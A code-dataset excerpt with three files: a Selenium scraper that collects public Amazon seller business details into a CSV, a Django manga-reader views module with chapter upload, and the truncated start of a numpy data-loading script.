"file_name": "cqlconn.py", "file_ext": "py", "file_size_in_byte": 5388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cassandra.cluster.Cluster", "line_number": 14, "usage_type": "call"}, {"api_name": "cassandra.cluster", "line_number": 14, "usage_type": "attribute"}, {"api_name": "config.config_ev_cql", "line_number": 15, "usage_type": "name"}, {"api_name": "config.config_ev_cql", "line_number": 16, "usage_type": "name"}, {"api_name": "cassandra.policies.RoundRobinPolicy", "line_number": 19, "usage_type": "call"}, {"api_name": "cassandra.policies", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cassandra.policies.ConstantReconnectionPolicy", "line_number": 20, "usage_type": "call"}, {"api_name": "cassandra.policies", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.config_ev_cql", "line_number": 32, "usage_type": "name"}, {"api_name": "config.config_ev_cql", "line_number": 34, "usage_type": "name"}, {"api_name": "cassandra.cluster", "line_number": 36, "usage_type": "attribute"}, {"api_name": "gc.collect", "line_number": 42, "usage_type": "call"}, {"api_name": "cassandra.cluster", "line_number": 57, "usage_type": "attribute"}]}
{"seq_id": "43304778602", "text": "import requests\r\nimport pandas as pd\r\nfrom selenium import webdriver\r\nfrom webdriver_manager.chrome import ChromeDriverManager\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.common.by import By\r\nfrom bs4 import BeautifulSoup\r\nfrom datetime import datetime as dt\r\nfrom time import sleep\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\n\r\n#* Pega a data do dia em que o código foi rodado no formato (DD-MM-YYYY)\r\ncurrenctTime = dt.now()\r\ndata_dia = str(currenctTime.year) + '-' + str(currenctTime.month) + '-' + str(currenctTime.day)\r\n\r\nservico = Service(ChromeDriverManager().install())\r\n\r\ndriver = webdriver.Chrome(service=servico)\r\n\r\nbdAnunciante = pd.read_csv('C:/Users/aquario/Desktop/Coleta automatica Ecommerce/2023-10-9coletaAnuncianteAmazon.csv', sep=';')\r\n\r\nlista_valores = []\r\nlinkAnunciante = []\r\n\r\ndef pegalink():\r\n\r\n    for index, row in bdAnunciante.iterrows():\r\n        link = row['linkVendedor']\r\n        linkAnunciante.append(link)\r\n        \r\n        try:\r\n            sleep(0.2)\r\n            print(\"----------------------Iniciando o Ataque em: \" + link)\r\n            driver.get(link)\r\n            \r\n            coletaDados()\r\n            \r\n            '''\r\n            nomeComercial = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[2]/span[2]').text\r\n            cnpj = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[3]/span[2]').text\r\n            telefone = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[4]/span[2]').text\r\n            rua = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[6]/span').text\r\n            referencia = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[7]/span').text\r\n            cidade = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[8]/span').text\r\n            estado = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[9]/span').text\r\n            cep = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[10]/span').text\r\n            pais = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[11]/span').text\r\n            '''\r\n            \r\n        except Exception as e:\r\n            print(\"Ataque mal sucedido/loja amazon\")\r\n    \r\n    colunms = ['nomeComercial', 'CNPJ', 'telefone', 'rua', 'cidade', 'estado', 'cep', ' linkAnunciante']\r\n    planilha = pd.DataFrame(lista_valores, columns=colunms)\r\n    planilha.to_csv(data_dia + 'dadosAnuncianteColetados.csv', index=False, sep=';', encoding='iso-8859-1')\r\n    print('Ataque finalizado com sucesso!!!')\r\n\r\ndef coletaDados():  \r\n    \r\n    '''\r\n    try:\r\n        nomeComercial = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[2]/span[2]').text\r\n    except:\r\n        nomeComercial = ''\r\n    try:\r\n        cnpj = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[3]/span[2]').text\r\n    except:\r\n        cnpj = ''\r\n    try:\r\n        telefone = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[4]/span[2]').text\r\n    except:\r\n        telefone = ''\r\n    try:\r\n        rua = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[6]/span').text\r\n    except:\r\n        rua = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[5]/span').text\r\n    try:\r\n        cidade = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[8]/span').text\r\n    except:\r\n        cidade = ''\r\n    try:\r\n        estado = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[9]/span').text\r\n    except:\r\n        estado = ''\r\n    try:\r\n        cep = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[10]/span').text\r\n    except:\r\n        cep = ''    \r\n    try:\r\n        pais = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[11]/span').text\r\n    except:\r\n        pais = ''\r\n    '''\r\n    \r\n    try:\r\n        nomeComercial = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[2]/span[2]').text\r\n    except:\r\n        nomeComercial = ''\r\n\r\n    try:\r\n        cnpj = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[3]/span[2]').text\r\n    except:\r\n        cnpj = ''\r\n\r\n    try:\r\n        telefone = driver.find_element(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div[4]/span[2]').text\r\n    except:\r\n        telefone = ''\r\n    try:\r\n        elements = driver.find_elements(By.XPATH, '//*[@id=\"page-section-detail-seller-info\"]/div/div/div/div/span')\r\n        \r\n        if len(elements) <= 5:\r\n            rua = elements[5].text or elements[6] or elements[7]\r\n        else:\r\n            rua = ''\r\n        \r\n        if len(elements) >= 8:\r\n            cidade = elements[7].text\r\n        else:\r\n            cidade = ''\r\n        \r\n        if len(elements) >= 9:\r\n            estado = elements[8].text\r\n        else:\r\n            estado = ''\r\n        \r\n        if len(elements) >= 10:\r\n            cep = elements[9].text\r\n        else:\r\n            cep = ''\r\n        \r\n    except Exception as e:\r\n        print(\"Erro na coleta - REINICIANDO!!\")\r\n\r\n    \r\n        \r\n    sleep(0.2)\r\n    lista_valores.append([nomeComercial, cnpj, telefone, rua, cidade, estado, cep, linkAnunciante[-1]])\r\n    sleep(0.5)\r\n    return pegalink\r\n\r\n\r\npegalink()\r\n", "repo_name": "CaioGunz/Coleta-Automatica-Ecommerce", "sub_path": "Coleta Amazon/coletaDadosAnuncianteAmazonSelenium/coletaDadosAnunciante.py", "file_name": "coletaDadosAnunciante.py", "file_ext": "py", "file_size_in_byte": 5829, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.now", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "name"}, {"api_name": "selenium.webdriver.chrome.service.Service", "line_number": 17, "usage_type": "call"}, {"api_name": "webdriver_manager.chrome.ChromeDriverManager", "line_number": 17, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 19, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 19, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 55, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 97, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 97, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 102, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 102, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 107, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 107, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 111, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 111, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 138, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 140, "usage_type": "call"}]}
{"seq_id": "42852702673", "text": "from django.shortcuts import render, get_object_or_404, Http404\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.urls import reverse\nfrom django.views import generic\nfrom django.core.files.storage import FileSystemStorage\nfrom django.utils import timezone\nfrom django.db import models\nfrom django.contrib.auth.decorators import permission_required\n\nfrom .models import Manga, Chapter, Page\n\nimport os, errno, zipfile\nimport re\n\n\n# Create your views here.\n\ndef index(request):\n    currentList = Manga.objects.all().filter(status=Manga.CURRENT).order_by('title')[:]\n    completedList = Manga.objects.all().filter(status=Manga.COMPLETED).order_by('title')[:]\n    hiatusList = Manga.objects.all().filter(status=Manga.HIATUS).order_by('title')[:]\n    droppedList = Manga.objects.all().filter(status=Manga.DROPPED).order_by('title')[:]\n    futureList = Manga.objects.all().filter(status=Manga.FUTURE).order_by('title')[:]\n    litcList = Manga.objects.all().filter(status=Manga.LITC).order_by('title')[:]\n\n    context = {}\n    if len(currentList) != 0:\n        context['current_list'] = currentList\n    if len(completedList) != 0:\n        context['completed_list'] = completedList\n    if len(hiatusList) != 0:\n        context['hiatus_list'] = hiatusList\n    if len(droppedList) != 0:\n        context['dropped_list'] = droppedList\n    if len(futureList) != 0:\n        context['future_list'] = futureList\n    if len(litcList) != 0:\n        context['litc_list'] = litcList\n\n    return render(request, 'reader/index.html', context)\n\n\ndef mangaDetail(request, mangaSeries):\n    try:\n        manga = Manga.objects.get(storage_name=mangaSeries)\n    except(KeyError, Manga.DoesNotExist):\n        render(request, 'reader/index.html')\n    chapterList = manga.chapter_set.filter(visible=True).order_by('-sort_number')[:]\n    context = {\n        'manga': manga,\n        'chapter_list': chapterList,\n    }\n    return render(request, 'reader/manga_details.html', context)\n\n\ndef readChapter(request, mangaSeries, chapterId):\n    try:\n        manga = Manga.objects.get(storage_name=mangaSeries)\n    except(KeyError, Manga.DoesNotExist):\n        render(request, 'reader/index.html')\n    try:\n        chapter = Chapter.objects.get(pk=chapterId)\n    except(KeyError, Chapter.DoesNotExist):\n        raise Http404(\"Chapter does not exist\")\n    if manga.display_method == Manga.TRADITIONAL:\n        return HttpResponseRedirect(reverse('reader:pageReader', args=(mangaSeries, chapterId, 1,)))\n    elif manga.display_method == Manga.WEBTOON:\n        return HttpResponseRedirect(reverse('reader:stripReader', args=(mangaSeries, chapterId,)))\n\n\ndef stripReader(request, mangaSeries, chapterId):\n    try:\n        manga = Manga.objects.get(storage_name=mangaSeries)\n    except(KeyError, Manga.DoesNotExist):\n        render(request, 'reader/index.html')\n    try:\n        chapter = Chapter.objects.get(pk=chapterId)\n    except(KeyError, Chapter.DoesNotExist):\n        raise Http404(\"Chapter does not exist\")\n\n    chapterList = manga.chapter_set.filter(visible=True).order_by('sort_number')[:]\n    hasPrev = False\n    hasNext = False\n    prevId = 0\n    nextId = 0\n    chapLen = len(chapterList)\n    for i in range(0, chapLen):\n        if chapterList[i] == chapter:\n            if (i != chapLen - 1):\n                nextId = chapterList[i + 1].id\n                hasNext = True\n            if (i != 0):\n                prevId = chapterList[i - 1].id\n                hasPrev = True\n            break\n\n    pageList = chapter.page_set.order_by('number')[:]\n    pageUrls = []\n    for page in pageList:\n        strurl = str(page.image)\n        pageUrls.append(strurl)\n\n    context = {\n        'manga': manga,\n        'chapter': chapter,\n        'chapter_list': chapterList,\n        'prev_id': prevId,\n        'next_id': nextId,\n        'page_list': pageUrls,\n    }\n    if hasPrev and (not hasNext):\n        context = {\n            'manga': manga,\n            'chapter': chapter,\n            'chapter_list': chapterList,\n            'prev_id': prevId,\n            'page_list': pageUrls,\n        }\n    elif hasNext and (not hasPrev):\n        context = {\n            'manga': manga,\n            'chapter': chapter,\n            'chapter_list': chapterList,\n            'next_id': nextId,\n            'page_list': pageUrls,\n        }\n    elif (not hasNext) and (not hasPrev):\n        context = {\n            'manga': manga,\n            'chapter': chapter,\n            'chapter_list': chapterList,\n            'page_list': pageUrls,\n        }\n\n    return render(request, 'reader/stripReader.html', context)\n\n\ndef pageReader(request, mangaSeries, chapterId, pageNum):\n    try:\n        manga = Manga.objects.get(storage_name=mangaSeries)\n    except(KeyError, Manga.DoesNotExist):\n        render(request, 'reader/index.html')\n    try:\n        chapter = Chapter.objects.get(pk=chapterId)\n    except(KeyError, Chapter.DoesNotExist):\n        raise Http404(\"Chapter does not exist\")\n    try:\n        page = chapter.page_set.get(number=pageNum)\n    except(KeyError, Page.DoesNotExist):\n        raise Http404(\"Page does not exist\")\n\n    pageUrl = str(page.image)\n    pageList = [i for i in range(1, chapter.num_pages + 1)]\n\n    hasNextPage = True\n    hasPrevPage = True\n    hasNextChap = False\n    hasPrevChap = False\n    prevPage = pageNum - 1\n    nextPage = pageNum + 1\n    prevChapId = 0\n    nextChapId = 0\n    prevChapNum = 0\n\n    chapterList = manga.chapter_set.filter(visible=True).order_by('sort_number')[:]\n    hasPrev = False\n    hasNext = False\n    chapLen = len(chapterList)\n    for i in range(0, chapLen):\n        if chapterList[i] == chapter:\n            if (i != chapLen - 1):\n                nextChapId = chapterList[i + 1].id\n                hasNext = True\n            if (i != 0):\n                prevChapId = chapterList[i - 1].id\n                hasPrev = True\n                prevChapNum = chapterList[i - 1].num_pages\n            break\n\n    if pageNum == chapter.num_pages or pageNum == 1:\n        if pageNum == chapter.num_pages:\n            hasNextPage = False\n            if hasNext:\n                hasNextChap = True\n        if pageNum == 1:\n            hasPrevPage = False\n            if hasPrev:\n                hasPrevChap = True\n\n    context = {\n        'manga': manga,\n        'chapter': chapter,\n        'chapter_list': chapterList,\n        'page_list': pageList,\n        'page_num': pageNum,\n        'page_url': pageUrl,\n    }\n    if hasNextPage:\n        context['next_page'] = nextPage\n    if hasPrevPage:\n        context['prev_page'] = prev_page\n    if hasNextChap:\n        context['next_chap'] = nextChapId\n    if hasPrevChap:\n        context['prev_chap'] = prevChapId\n        context['prev_chap_pages'] = prevChapNum\n    return render(request, 'reader/pageReader.html', context)\n\n\ndef jumpPage(request, mangaSeries, chapterId):\n    pageNum = request.POST['page']\n    return HttpResponseRedirect(reverse('reader:pageReader', args=(mangaSeries, chapterId, pageNum,)))\n\n\ndef jumpChapter(request, mangaSeries, display):\n    chapterId = request.POST['chapter']\n    if display == 'webtoon':\n        return HttpResponseRedirect(reverse('reader:stripReader', args=(mangaSeries, chapterId,)))\n    elif display == 'pages':\n        return HttpResponseRedirect(reverse('reader:pageReader', args=(mangaSeries, chapterId, 1)))\n    else:\n        raise Http404(\"URL does not exist\")\n\n\n@permission_required('reader.add_chapter', login_url='accounts:login')\ndef upload(request, chapterUploaded=\"\"):\n    mangaList = Manga.objects.order_by('title')[:]\n    context = {\n        'manga_list': mangaList,\n        'chapter_uploaded': chapterUploaded,\n    }\n    return render(request, 'reader/upload.html', context)\n\n\ndef submitChapter(request):\n    try:\n        manga = Manga.objects.get(id=request.POST['manga'])\n    except(KeyError, Manga.DoesNotExist):\n        mangaList = Manga.objects.order_by('title')[:]\n        return render(request, 'reader/upload.html', {\n            'manga_list': mangaList,\n            'error_message': \"You didn't select a manga choice.\",\n        })\n    chapNumber = request.POST['chap_number'].strip()\n    volNumber = request.POST['vol_number'].strip()\n    if (volNumber == \"\"):\n        volNumber = 0\n    if (chapNumber == \"\"):\n        mangaList = Manga.objects.order_by('title')[:]\n        return render(request, 'reader/upload.html', {\n            'manga_list': mangaList,\n            'error_message': \"Please enter a chapter number!\",\n        })\n    sortNumber = int((float(volNumber) * 1000000) + (float(chapNumber) * 100))\n    title = request.POST['title']\n    owner = request.user\n    upload_date = timezone.now()\n\n    if os.name == 'nt':\n        static = \"reader\\\\static\\\\\"\n        path = \"reader\\\\mangas\\\\\" + manga.storage_name\n    else:\n        static = \"static/\"\n        path = \"reader/mangas/\" + manga.storage_name\n\n    try:\n        os.makedirs(static + path)\n    except OSError as e:\n        if e.errno != errno.EEXIST:\n            mangaList = Manga.objects.order_by('title')[:]\n            return render(request, 'reader/upload.html', {\n                'manga_list': mangaList,\n                'error_message': \"Oops something went wrong, please try again.\",\n            })\n\n    chapterStorageName = str(sortNumber) + upload_date.strftime(\"%Y-%m-%d_%H-%M-%S_%f\")\n    if os.name == 'nt':\n        path = path + \"\\\\\" + chapterStorageName\n    else:\n        path = path + \"/\" + chapterStorageName\n\n    try:\n        os.makedirs(static + path)\n    except OSError as e:\n        if e.errno != errno.EEXIST:\n            mangaList = Manga.objects.order_by('title')[:]\n            return render(request, 'reader/upload.html', {\n                'manga_list': mangaList,\n                'error_message': \"Oops something went wrong, please try again.\",\n            })\n\n    myfile = request.FILES['chapter_file']\n    fs = FileSystemStorage()\n    filename = fs.save(myfile.name, myfile)\n    uploaded_file_url = fs.url(filename)\n\n    sortedList = []\n    with zipfile.ZipFile(uploaded_file_url) as myzip:\n        unsortedList = myzip.namelist()\n        for name in unsortedList:\n            if (re.match(\"^.*\\.png$\", name) != None):\n                sortedList.append(name)\n            elif (re.match(\"^.*\\.jpg$\", name) != None):\n                sortedList.append(name)\n        sortedList.sort()\n        myzip.extractall(static + path, sortedList)\n\n    chapter = Chapter(manga=manga,\n                      chap_number=chapNumber,\n                      vol_number=volNumber,\n                      sort_number=sortNumber,\n                      title=title,\n                      num_pages=len(sortedList),\n                      owner=owner,\n                      upload_date=upload_date,\n                      storage_name=chapterStorageName, )\n    chapter.save()\n\n    for i in range(1, len(sortedList) + 1):\n        page = Page(chapter=chapter, number=i, image=path + \"\\\\\" + sortedList[i - 1])\n        page.save()\n\n    os.remove(uploaded_file_url)\n    returnString = \"{0} - {1}\".format(manga.title, chapter)\n    return HttpResponseRedirect(reverse('reader:upload', args=(returnString,)))\n", "repo_name": "YunZhi246/QwertySite", "sub_path": "reader/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 11087, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "models.Manga.objects.all", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 19, "usage_type": "name"}, {"api_name": "models.Manga.CURRENT", "line_number": 19, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.all", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 20, "usage_type": "name"}, {"api_name": "models.Manga.COMPLETED", "line_number": 20, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.all", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 21, "usage_type": "name"}, {"api_name": "models.Manga.HIATUS", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.all", "line_number": 22, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 22, "usage_type": "name"}, {"api_name": "models.Manga.DROPPED", "line_number": 22, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.all", "line_number": 23, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 23, "usage_type": "name"}, {"api_name": "models.Manga.FUTURE", "line_number": 23, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.all", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 24, "usage_type": "name"}, {"api_name": "models.Manga.LITC", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.shortcuts.render", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Manga.objects.get", "line_number": 45, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 45, "usage_type": "name"}, {"api_name": "models.Manga.DoesNotExist", "line_number": 46, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 46, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 47, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 53, "usage_type": "call"}, {"api_name": "models.Manga.objects.get", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 58, "usage_type": "name"}, {"api_name": "models.Manga.DoesNotExist", "line_number": 59, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 59, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Chapter.objects.get", "line_number": 62, "usage_type": "call"}, {"api_name": "models.Chapter.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Chapter", "line_number": 62, "usage_type": "name"}, {"api_name": "models.Chapter.DoesNotExist", "line_number": 63, "usage_type": "attribute"}, {"api_name": "models.Chapter", "line_number": 63, "usage_type": "name"}, {"api_name": "django.shortcuts.Http404", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Manga.TRADITIONAL", "line_number": 65, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 65, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 66, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Manga.WEBTOON", "line_number": 67, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 67, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 68, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 68, "usage_type": "call"}, {"api_name": "models.Manga.objects.get", "line_number": 73, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 73, "usage_type": "name"}, {"api_name": "models.Manga.DoesNotExist", "line_number": 74, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 74, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 75, "usage_type": "call"}, {"api_name": "models.Chapter.objects.get", "line_number": 77, "usage_type": "call"}, {"api_name": "models.Chapter.objects", "line_number": 77, "usage_type": "attribute"}, {"api_name": "models.Chapter", "line_number": 77, "usage_type": "name"}, {"api_name": "models.Chapter.DoesNotExist", "line_number": 78, "usage_type": "attribute"}, {"api_name": "models.Chapter", "line_number": 78, "usage_type": "name"}, {"api_name": "django.shortcuts.Http404", "line_number": 79, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Manga.objects.get", "line_number": 140, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 140, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 140, "usage_type": "name"}, {"api_name": "models.Manga.DoesNotExist", "line_number": 141, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 141, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 142, "usage_type": "call"}, {"api_name": "models.Chapter.objects.get", "line_number": 144, "usage_type": "call"}, {"api_name": "models.Chapter.objects", "line_number": 144, "usage_type": "attribute"}, {"api_name": "models.Chapter", "line_number": 144, "usage_type": "name"}, {"api_name": "models.Chapter.DoesNotExist", "line_number": 145, "usage_type": "attribute"}, {"api_name": "models.Chapter", "line_number": 145, "usage_type": "name"}, {"api_name": "django.shortcuts.Http404", "line_number": 146, "usage_type": "call"}, {"api_name": "models.Page.DoesNotExist", "line_number": 149, "usage_type": "attribute"}, {"api_name": "models.Page", "line_number": 149, "usage_type": "name"}, {"api_name": "django.shortcuts.Http404", "line_number": 150, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 207, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 212, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 212, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 218, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 218, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 220, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 220, "usage_type": "call"}, {"api_name": "django.shortcuts.Http404", "line_number": 222, "usage_type": "call"}, {"api_name": "models.Manga.objects.order_by", "line_number": 227, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 227, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 227, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 232, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 225, "usage_type": "call"}, {"api_name": "models.Manga.objects.get", "line_number": 237, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 237, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 237, "usage_type": "name"}, {"api_name": "models.Manga.DoesNotExist", "line_number": 238, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 238, "usage_type": "name"}, {"api_name": "models.Manga.objects.order_by", "line_number": 239, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 239, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 239, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 240, "usage_type": "call"}, {"api_name": "models.Manga.objects.order_by", "line_number": 249, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 249, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 249, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 250, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 257, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 257, "usage_type": "name"}, {"api_name": "os.name", "line_number": 259, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 267, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 269, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.order_by", "line_number": 270, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 270, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 270, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 271, "usage_type": "call"}, {"api_name": "os.name", "line_number": 277, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 283, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 285, "usage_type": "attribute"}, {"api_name": "models.Manga.objects.order_by", "line_number": 286, "usage_type": "call"}, {"api_name": "models.Manga.objects", "line_number": 286, "usage_type": "attribute"}, {"api_name": "models.Manga", "line_number": 286, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 287, "usage_type": "call"}, {"api_name": "django.core.files.storage.FileSystemStorage", "line_number": 293, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 298, "usage_type": "call"}, {"api_name": "re.match", "line_number": 301, "usage_type": "call"}, {"api_name": "re.match", "line_number": 303, "usage_type": "call"}, {"api_name": "models.Chapter", "line_number": 308, "usage_type": "call"}, {"api_name": "models.Page", "line_number": 320, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 323, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 325, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 325, "usage_type": "call"}]}
{"seq_id": "37148140686", "text": "import numpy as np\nfrom matplotlib import pyplot as plt\nimport tables\nimport re\nimport collections\nimport scipy\n\ndef createAccuratefQMatrix(bmaptitle, title1,titlefits1,title2,titlefits2,closefcutoff=3):\n\n    freqs0=np.loadtxt('/home/sean/data/%s0.txt'%title1)\n    f0=freqs0[:,0]\n    f0=f0[1:]\n    freqs1=np.loadtxt('/home/sean/data/%s1.txt'%title1)\n    f1=freqs1[:,0]\n    f1=f1[1:]\n    freqs2=np.loadtxt('/home/sean/data/%s2.txt'%title1)\n    f2=freqs2[:,0]\n    f2=f2[1:]\n    freqs3=np.loadtxt('/home/sean/data/%s3.txt'%title1)\n    f3=freqs3[:,0]\n    f3=f3[1:]\n    FL1fits=np.loadtxt('/home/sean/data/%s'%titlefits1)\n    approxf1=FL1fits[:,1]\n    QFL1=FL1fits[:,2]\n    QiFL1=FL1fits[:,4]\n\n    freqs4=np.loadtxt('/home/sean/data/%s4.txt'%title2)\n    f4=freqs4[:,0]\n    f4=f4[1:]\n    freqs5=np.loadtxt('/home/sean/data/%s5.txt'%title2)\n    f5=freqs5[:,0]\n    f5=f5[1:]\n    freqs6=np.loadtxt('/home/sean/data/%s6.txt'%title2)\n    f6=freqs6[:,0]\n    f6=f6[1:]\n    freqs7=np.loadtxt('/home/sean/data/%s7.txt'%title2)\n    f7=freqs7[:,0]\n    f7=f7[1:]\n    FL2fits=np.loadtxt('/home/sean/data/%s'%titlefits2)\n    approxf2=FL2fits[:,1]\n    